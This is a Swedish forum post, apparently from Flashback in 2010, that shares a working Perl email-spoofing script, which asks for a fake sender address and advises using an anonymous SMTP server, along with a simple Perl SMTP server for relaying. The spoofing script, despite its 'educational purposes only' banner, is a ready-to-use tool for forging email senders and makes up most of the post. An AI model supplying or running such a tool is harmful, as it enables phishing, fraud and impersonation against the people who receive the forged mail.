Här har du ett script som kan spoofa emails, du behöver en SMTP-server dock:
Kod:
#!/usr/bin/perl
#
# Email Spoof by Tweakz20
#
# ONLY to be used for educational purposes!
#
use Net::SMTP;
print "*************************************\n";
print " � Simple SMTP spoof by Tweakz20 � � \n";
print "MADE FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "*************************************\n\n";
print "Hard one first. You need an SMTP server.";
print "\nTry to use an annonymous one if you can...\n";
chomp (my $server = <STDIN>);
$conn = Net::SMTP->new($server);
die "Can't connect! try a different server!" unless $conn;
print "\nWhom is this email From? (fake address)\n";
chomp (my $from = <STDIN>);
print "\nWhom is it going to?\n";
chomp (my $to = <STDIN>);
print "\nWhat to put on the Subject line?\n";
chomp (my $subject = <STDIN>);
print "\nWhat is the message suppost to say? (backslash n doesn't work\n";
chomp (my $body = <STDIN>);
$conn->mail($from);
$conn->to($to);
$conn->data();
$conn->datasend("To: $to\n");
$conn->datasend("Subject: $subject\n");
$conn->datasend("$body");
$conn->dataend();
print "\nSuccess!!";
#too simple...
$conn->quit;
Det här kan du använda för att sätta upp en egen SMTP-server:
Kod:
#!/usr/bin/perl
use strict;
use Net::SMTP::Server;
use Net::SMTP::Server::Client;
use Data::Dumper;
our $host = $ARGV[0] || "0.0.0.0" ;
our $server = new Net::SMTP::Server($host) ||
croak("Unable to open SMTP server socket");
print "Waiting for incoming SMTP connections on ".($host eq "0.0.0.0" ? "all IP addresses":$host)."\n";
$| = 1;
while(my $conn = $server->accept()) {
print "Incoming mail ... from " . $conn->peerhost() ;
my $client = new Net::SMTP::Server::Client($conn) ||
croak("Unable to process incoming request");
if (!$client->process) {
print "\nfailed to receive complete e-mail message\n"; next; }
print " received\n";
print "From: $client->{FROM}\n";
my $to = $client->{TO};
my $toList = @{$to} ? join(",",@{$to}) : $to;
print "To: $toList\n";
print "\n" ;
print $client->{MSG};
}
__________________
Senast redigerad av ant' 2010-03-30 kl. 23:58.
Flashback finansieras genom donationer från våra medlemmar och besökare. Det är med hjälp av dig vi kan fortsätta erbjuda en fri samhällsdebatt. Tack för ditt stöd!
Stöd Flashback
Swish: 123 536 99 96Bankgiro: 211-4106
Stöd Flashback
Flashback finansieras genom donationer från våra medlemmar och besökare. Det är med hjälp av dig vi kan fortsätta erbjuda en fri samhällsdebatt. Tack för ditt stöd!